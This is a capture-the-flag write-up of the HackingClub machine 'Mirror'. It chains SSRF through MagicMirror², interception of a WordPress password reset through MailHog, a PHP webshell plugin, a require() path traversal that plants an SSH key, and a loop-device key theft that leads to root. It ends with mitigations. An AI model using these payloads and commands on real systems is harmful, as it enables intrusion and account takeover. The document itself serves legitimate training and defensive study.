Mirror - HC Writeup

2026-05-25·8 min read·
ctfwebssrfwordpresspath-traversalprivilege-escalation

Target Information

  • IP Address: 172.16.4.143
  • Difficulty: Easy
  • Tags: Web, SSRF, WordPress, Path Traversal, Group Misconfiguration, Privilege Escalation
  • Platform: HackingClub
  • OS: Ubuntu 26.04 LTS (kernel 7.0.0-1004-aws, AWS EC2)
  • Hostname: ip-172-16-15-172

Reconnaissance

Port Scanning

$bash
nmap -sC -sV -p- --min-rate 500 -vvv -oA nmap 172.16.4.143

Results:

$code
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 10.2p1 Ubuntu 2ubuntu3
80/tcp   open  http    Apache httpd 2.4.66 (Ubuntu)
8080/tcp open  http    MagicMirror² v2.35.0 (Node.js)

Three services: SSH, Apache on port 80, and a MagicMirror² instance on 8080.


Web Enumeration

Port 80 — Apache

Default Apache page. Directory brute-force reveals /wordpress/ with a full WordPress installation accessible internally.

$bash
curl -s http://172.16.4.143/wordpress/wp-json/wp/v2/users

Result: User admin (ID:1) confirmed via WordPress REST API.

Port 8080 — MagicMirror²

MagicMirror² v2.35.0 running as Node.js. Several interesting endpoints discovered:

EndpointNotes
/cors?url=<target>Transparent HTTP proxy — SSRF
/config/config.jsDefault config, no secrets
/js/server.jsExpress routes source
/versionReturns 2.35.0
/envReturns {modulesDir, defaultModulesDir, customCss}

Key finding: /cors acts as a transparent HTTP proxy with no URL restrictions.

SSRF — Internal Service Discovery

Using MagicMirror's /cors endpoint to probe internal services:

$bash
# Discover WordPress (already known via port 80)
curl "http://172.16.4.143:8080/cors?url=http://localhost:80/wordpress/"
 
# Discover MailHog on port 8025
curl "http://172.16.4.143:8080/cors?url=http://localhost:8025/"

MailHog was found on localhost:8025 — an email testing tool intercepting all outgoing mail from WordPress.


Exploitation: WordPress Admin Access via MailHog SSRF

Password Reset Interception

WordPress sends password reset emails. Since MailHog intercepts all outbound mail, and the SSRF lets us read MailHog's web interface, we can hijack the reset flow:

Step 1 — Trigger password reset:

$http
POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: 172.16.4.143
Content-Type: application/x-www-form-urlencoded
 
user_login=admin&redirect_to=&wp-submit=Get+New+Password

Step 2 — Intercept the email via SSRF:

$bash
curl "http://172.16.4.143:8080/cors?url=http://localhost:8025/api/v2/messages"

The response contains the reset link with the token. Use the token to set a new password:

$code
Password set: l(t$yGU#lA0pG2Rk%Ed0pLAg

Result: Admin access to WordPress confirmed.

Webshell Installation via Plugin Upload

Logged in as WordPress admin, uploaded a malicious plugin (shell_plugin.zip) containing a simple PHP webshell:

$php
<?php system($_GET['cmd']); ?>

Webshell active at:

$code
http://172.16.4.143/wordpress/wp-content/plugins/shell_plugin/shell_plugin.php?cmd=id

Result:

$code
uid=33(www-data) gid=33(www-data) groups=33(www-data)

RCE achieved as www-data.


Post-Exploitation (www-data)

Environment Enumeration

Reading wp-config.php for database credentials:

$bash
curl "http://172.16.4.143/wordpress/wp-content/plugins/shell_plugin/shell_plugin.php?cmd=cat+/var/www/html/wordpress/wp-config.php"

Database credentials found:

$code
DB_USER: wpuser
DB_PASSWORD: ajfh33333

Critical Finding — magic.service

/etc/systemd/system/magic.service reveals MagicMirror runs as user magnus with Restart=always:

$ini
[Service]
Type=simple
User=magnus
WorkingDirectory=/home/magnus/MagicMirror
ExecStart=/usr/bin/node serveronly
Restart=always
RestartSec=5

The Node.js process (MagicMirror) runs as magnus, not www-data. This is the lateral movement vector.

MagicMirror Weather Module — Path Traversal via require()

Reviewing /defaultmodules/weather/node_helper.js, the weather module loads providers dynamically:

$javascript
providerPath = path.join(__dirname, "providers", identifier + ".js")
// __dirname = /home/magnus/MagicMirror/defaultmodules/weather

The weatherProvider parameter is passed unsanitized into path.join() then loaded via require(). Since path.join resolves ../ sequences, a traversal payload points to any .js file on the filesystem.

Payload path calculation:

$code
__dirname:    /home/magnus/MagicMirror/defaultmodules/weather
Target file:  /var/www/html/wordpress/evil_wp2.js
Traversal:    ../../../../../../var/www/html/wordpress/evil_wp2

The trigger is a Socket.io INIT_WEATHER event via EIO=4 long-polling.


Lateral Movement: www-data → magnus

SSH Key Injection via Path Traversal

Step 1 — Generate SSH key pair (attacker):

$bash
ssh-keygen -t ed25519 -f /tmp/magnus_key -N ""

Step 2 — Create the evil payload (as www-data via webshell):

File written to /var/www/html/wordpress/evil_wp2.js:

$javascript
const fs = require('fs');
const k = Buffer.from('<base64_pubkey>', 'base64').toString();
try { fs.mkdirSync('/home/magnus/.ssh', {recursive: true, mode: 0o700}) } catch(e) {}
fs.writeFileSync('/home/magnus/.ssh/authorized_keys', k + '\n', {mode: 0o600});
module.exports = class {};

Step 3 — Trigger path traversal via Socket.io (EIO=4):

$bash
# Handshake
SID=$(curl -s "http://172.16.4.143:8080/socket.io/?EIO=4&transport=polling" | grep -o '"sid":"[^"]*"' | cut -d'"' -f4)
 
# Connect to /weather namespace
curl -s -X POST "http://172.16.4.143:8080/socket.io/?EIO=4&transport=polling&sid=$SID" \
  -d "40/weather,"
 
# Send INIT_WEATHER with traversal payload
curl -s -X POST "http://172.16.4.143:8080/socket.io/?EIO=4&transport=polling&sid=$SID" \
  -d '42/weather,["INIT_WEATHER",{"identifier":"../../../../../../var/www/html/wordpress/evil_wp2","weatherProvider":"openweathermap","units":"metric","lat":0,"lon":0,"apiKey":"x"}]'

Important: No length prefix {n}: for single packets — the server silently rejects them.

Step 4 — SSH as magnus:

$bash
ssh -i /tmp/magnus_key magnus@172.16.4.143

Result:

$code
magnus@ip-172-16-15-172:~$ id
uid=1001(magnus) gid=1001(magnus) groups=1001(magnus),1002(users),1003(usbaccess)

Privilege Escalation: magnus → root via usbaccess Group

Enumeration

Checking magnus's group membership:

$code
uid=1001(magnus) gid=1001(magnus) groups=1001(magnus),1002(users),1003(usbaccess)

Magnus belongs to usbaccess group. Reviewing the USB stick service:

$bash
cat /etc/systemd/system/usbstick.service
$ini
[Unit]
Description=Setup USB stick challenge device
After=local-fs.target
 
[Service]
Type=oneshot
ExecStart=/usr/local/bin/setup-usbstick.sh
RemainAfterExit=yes
 
[Install]
WantedBy=multi-user.target
$bash
cat /usr/local/bin/setup-usbstick.sh
$bash
#!/bin/bash
IMAGE="/opt/usbstick.img"
losetup -j "$IMAGE" | cut -d: -f1 | xargs -r losetup -d
DEVICE=$(losetup -f --show "$IMAGE")
chown root:usbaccess "$DEVICE"
chmod 660 "$DEVICE"

The script mounts /opt/usbstick.img as a loop device and sets ownership to root:usbaccess with permissions 660 — meaning usbaccess group members can read/write the device.

After a machine restart, /opt/usbstick.img (200MB, FAT16) exists and the service runs successfully, creating /dev/loop3.

Exploitation

$bash
# Verify loop device permissions
ls -la /dev/loop3
# brw-rw---- 1 root usbaccess ... /dev/loop3
 
# Read the FAT16 filesystem directly with Python
python3 -c "
import os
fd = os.open('/dev/loop3', os.O_RDONLY)
data = os.read(fd, 10 * 1024 * 1024)
os.close(fd)
with open('/tmp/usb.img', 'wb') as f:
    f.write(data)
"
 
# Mount and inspect
sudo mount -o loop /tmp/usb.img /mnt  # or parse raw
strings /tmp/usb.img | grep -A 30 "BEGIN RSA\|BEGIN OPENSSH"

Root's private SSH key found in the FAT16 image:

$bash
ssh -i usb_key root@172.16.4.143

Result:

$code
root@ip-172-16-15-172:~# id
uid=0(root) gid=0(root) groups=0(root)

Attack Chain Summary

$code
1. MagicMirror :8080 /cors → SSRF proxy
   ↓
2. SSRF → MailHog on localhost:8025
   ↓
3. WordPress password reset intercepted → admin login
   ↓
4. Plugin upload → shell_plugin.php → RCE as www-data
   ↓
5. MagicMirror weather path traversal via Socket.io INIT_WEATHER
   (magic.service runs as magnus → require() loads attacker .js)
   ↓
6. evil_wp2.js injects SSH pubkey → /home/magnus/.ssh/authorized_keys
   ↓
7. SSH as magnus → User Flag
   ↓
8. magnus in usbaccess group → /dev/loop3 (FAT16, root:usbaccess 660)
   ↓
9. Read loop device → extract root's id_rsa → SSH as root → Root Flag

Vulnerabilities Summary

VulnerabilityCWESeverityImpact
Server-Side Request Forgery (SSRF) via /corsCWE-918HighAccess to internal services (MailHog, localhost)
Email interception (MailHog exposed internally)CWE-319HighAccount takeover (WordPress admin)
WordPress unauthenticated plugin uploadCWE-434CriticalRCE as www-data
Path Traversal in MagicMirror require()CWE-22CriticalArbitrary code execution as magnus
Sensitive file stored in group-readable deviceCWE-732CriticalRoot SSH key exposure via usbaccess group

Mitigation Recommendations

Application Level

  1. Restrict SSRF in MagicMirror /cors:
    • Implement an allowlist of permitted external domains
    • Block access to localhost, 127.0.0.1, and RFC-1918 ranges
$javascript
// Validate URL before proxying
const url = new URL(req.query.url);
if (['localhost', '127.0.0.1', '::1'].includes(url.hostname)) {
  return res.status(403).send('Forbidden');
}
  1. Sanitize weatherProvider parameter:
    • Validate against an allowlist of known provider names before calling require()
$javascript
const ALLOWED_PROVIDERS = ['openweathermap', 'darksky', 'weatherbit'];
if (!ALLOWED_PROVIDERS.includes(weatherProvider)) {
  throw new Error('Invalid provider');
}
  1. Disable WordPress REST API user enumeration or require authentication for /wp-json/wp/v2/users.

System Level

  1. Remove MailHog from production environments. MailHog is a development tool and must never run in production — it silently discards all outgoing email while exposing it to anyone with internal network access.

  2. Root credentials must not be stored on group-readable storage. The usbaccess group design grants read access to a block device containing root's private key. Store credentials in a secrets manager (Vault, AWS Secrets Manager) instead.

  3. Principle of least privilege for service accounts: MagicMirror should run under a dedicated non-privileged account with no home directory or shell, not under a real user account like magnus.


Tools Used

  • nmap — Port scanning and service fingerprinting
  • curl — HTTP requests, SSRF exploitation, Socket.io interaction
  • LinPEAS — Linux privilege escalation enumeration
  • pspy — Process monitoring without root
  • Python3 — Raw block device reading for FAT16 image extraction

Key Takeaways

  • SSRF is powerful as a pivot. A single /cors proxy endpoint gave access to the entire internal network — MailHog, localhost services, anything bound to loopback.
  • MagicMirror require() injection is a non-obvious code execution path: the INIT_WEATHER Socket.io event loads a Node.js module by path, and path.join doesn't strip ../ traversals.
  • Group-based privilege escalation via usbaccess — a custom group granting read/write to a block device containing root secrets — is a subtle but decisive misconfiguration.
  • MailHog in production makes account takeover trivial for anyone with SSRF capability.

References


Author: cbxcvl Date: 2026-05-25 Machine: Mirror — HackingClub


Flags

Flag values and file paths are not documented in the source notes.


Proof of Concept Scripts

Exploit commands and requests are documented inline above. No standalone script was included in the source notes.